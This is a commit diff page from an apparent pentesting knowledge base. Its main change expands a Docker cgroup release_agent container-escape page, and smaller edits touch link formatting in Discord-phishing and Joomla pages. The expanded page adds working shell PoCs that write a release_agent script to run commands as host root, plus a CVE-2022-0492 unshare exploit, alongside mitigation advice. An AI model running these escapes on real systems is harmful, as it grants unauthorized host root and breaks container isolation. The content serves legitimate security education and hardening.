You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
+2-2Lines changed: 2 additions & 2 deletions
Original file line number
Diff line number
Diff line change
@@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
57
57
58
58
## References
59
59
60
-
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
61
-
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
60
+
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
61
+
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
+97-34Lines changed: 97 additions & 34 deletions
Original file line number
Diff line number
Diff line change
@@ -4,7 +4,9 @@
4
4
5
5
**For further details, refer to the**[**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
19
+
The PoC abuses the **cgroup-v1**`release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`. Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
18
20
19
-
1.**Prepare the Environment:**
20
-
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
21
-
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
41
+
```shell
42
+
cat <<'EOF' > /cmd
43
+
#!/bin/sh
44
+
ps aux > "$host_path/output"
45
+
EOF
46
+
chmod +x /cmd
47
+
```
46
48
47
-
```shell
48
-
echo'#!/bin/sh'> /cmd
49
-
echo"ps aux > $host_path/output">> /cmd
50
-
chmod a+x /cmd
51
-
```
49
+
4.**Trigger the notifier**
52
50
53
-
5.**Trigger the Attack:**
54
-
- A process is initiated within the "x" child cgroup and is immediately terminated.
55
-
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
51
+
```shell
52
+
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"# add ourselves and immediately exit
53
+
cat /output # now contains host processes
54
+
```
56
55
57
-
```shell
58
-
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
56
+
---
57
+
58
+
## 2022 kernel vulnerability – CVE-2022-0492
59
+
60
+
In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
61
+
62
+
Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**. On a default-configured, root-running Docker/Kubernetes container this allowed:
63
+
64
+
* privilege escalation to root on the host; ↗
65
+
* container escape without the container being privileged.
66
+
67
+
The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
77
+
apk add --no-cache util-linux # provides unshare
78
+
unshare -UrCm sh -c '
79
+
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
80
+
echo 1 > /tmp/c/notify_on_release;
81
+
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
82
+
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
83
+
while true; do sleep 1; done
84
+
'
85
+
```
86
+
If the kernel is vulnerable the busybox binary from the *host* executes with full root.
87
+
88
+
### Hardening & Mitigations
89
+
90
+
***Update the kernel** (≥ versions above). The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
91
+
***Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
92
+
***Disable unprivileged user namespaces** on hosts that do not need them:
93
+
```shell
94
+
sysctl -w kernel.unprivileged_userns_clone=0
95
+
```
96
+
***Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
97
+
***Read-only bind-mask** all `release_agent` files (Palo Alto script example):
* This is a Joomla! installation/upgrade package to version 3.x
67
67
* Joomla! Official site: https://www.joomla.org
68
-
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
68
+
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
69
69
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
70
70
```
71
71
@@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
0 commit comments